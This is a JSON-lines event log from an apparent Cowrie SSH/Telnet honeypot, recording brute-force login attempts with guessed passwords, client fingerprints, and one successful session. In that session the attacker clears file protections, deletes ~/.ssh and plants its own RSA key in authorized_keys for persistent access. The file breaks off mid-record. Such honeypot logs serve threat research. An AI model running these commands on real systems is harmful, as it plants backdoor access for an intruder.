{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":18698,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc58c5d31eab","protocol":"ssh","message":"New connection: 141.11.21.145:18698 (10.17.0.5:22) [session: bc58c5d31eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:42.098740Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:42.195362Z","src_ip":"141.11.21.145","session":"bc58c5d31eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":18706,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c4cc0229c9","protocol":"ssh","message":"New connection: 141.11.21.145:18706 (10.17.0.5:22) [session: 34c4cc0229c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:42.274457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:42.280520Z","src_ip":"141.11.21.145","session":"34c4cc0229c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:42.364824Z","src_ip":"141.11.21.145","session":"34c4cc0229c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc@WSX1qaz","message":"login attempt [root/3edc@WSX1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:42.615920Z","src_ip":"141.11.21.145","session":"34c4cc0229c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:43.705355Z","src_ip":"141.11.21.145","session":"34c4cc0229c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":54507,"dst_ip":"10.17.0.5","dst_port":22,"session":"d50a1a950cfe","protocol":"ssh","message":"New connection: 190.181.25.210:54507 (10.17.0.5:22) [session: d50a1a950cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:47.942628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:48.603877Z","src_ip":"190.181.25.210","session":"d50a1a950cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:48.616076Z","src_ip":"190.181.25.210","session":"d50a1a950cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"1234","message":"login attempt [wp-user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:49.108210Z","src_ip":"190.181.25.210","session":"d50a1a950cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:38:50.235476Z","src_ip":"190.181.25.210","session":"d50a1a950cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.133.118.49","src_port":22303,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a46c6f4073f","protocol":"telnet","message":"New connection: 79.133.118.49:22303 (10.17.0.5:23) [session: 8a46c6f4073f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:03.613090Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.105.215","src_port":31511,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed0e2f674a4","protocol":"ssh","message":"New connection: 138.68.105.215:31511 (10.17.0.5:22) [session: 4ed0e2f674a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:05.257112Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:05.262514Z","src_ip":"138.68.105.215","session":"4ed0e2f674a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.105.215","src_port":32037,"dst_ip":"10.17.0.5","dst_port":22,"session":"72cad7523c4e","protocol":"ssh","message":"New connection: 138.68.105.215:32037 (10.17.0.5:22) [session: 72cad7523c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:06.286796Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:06.380586Z","src_ip":"138.68.105.215","session":"72cad7523c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.225.4","src_port":57276,"dst_ip":"10.17.0.5","dst_port":22,"session":"044633d6ac7c","protocol":"ssh","message":"New connection: 164.92.225.4:57276 (10.17.0.5:22) [session: 044633d6ac7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:07.281834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:07.286610Z","src_ip":"164.92.225.4","session":"044633d6ac7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:07.375314Z","src_ip":"164.92.225.4","session":"044633d6ac7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":32830,"dst_ip":"10.17.0.5","dst_port":22,"session":"467c20e8863f","protocol":"ssh","message":"New connection: 98.70.48.241:32830 (10.17.0.5:22) [session: 467c20e8863f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:09.868570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:09.875439Z","src_ip":"98.70.48.241","session":"467c20e8863f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:10.066247Z","src_ip":"98.70.48.241","session":"467c20e8863f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2user","password":"db2user","message":"login attempt [db2user/db2user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:10.832090Z","src_ip":"98.70.48.241","session":"467c20e8863f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:12.019388Z","src_ip":"98.70.48.241","session":"467c20e8863f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:27.283156Z","src_ip":"164.92.225.4","session":"044633d6ac7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":34327,"dst_ip":"10.17.0.5","dst_port":22,"session":"09ade74ddb00","protocol":"ssh","message":"New connection: 190.181.25.210:34327 (10.17.0.5:22) [session: 09ade74ddb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:44.227818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:44.235628Z","src_ip":"190.181.25.210","session":"09ade74ddb00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:44.353430Z","src_ip":"190.181.25.210","session":"09ade74ddb00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A1234567a","message":"login attempt [ubuntu/A1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:44.867278Z","src_ip":"190.181.25.210","session":"09ade74ddb00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:39:45.989660Z","src_ip":"190.181.25.210","session":"09ade74ddb00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":51108,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f42d479d17","protocol":"ssh","message":"New connection: 98.70.48.241:51108 (10.17.0.5:22) [session: 23f42d479d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:11.034368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:11.039544Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:11.229919Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admini","message":"login attempt [admin/admini] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:12.018785Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:12.462728Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:12.466835Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:12.472227Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:12.668597Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:13.094502Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:13.098114Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:13.298524Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:13.305158Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":51122,"dst_ip":"10.17.0.5","dst_port":22,"session":"a06d2931cef8","protocol":"ssh","message":"New connection: 98.70.48.241:51122 (10.17.0.5:22) [session: a06d2931cef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:13.476386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:13.483093Z","src_ip":"98.70.48.241","session":"a06d2931cef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","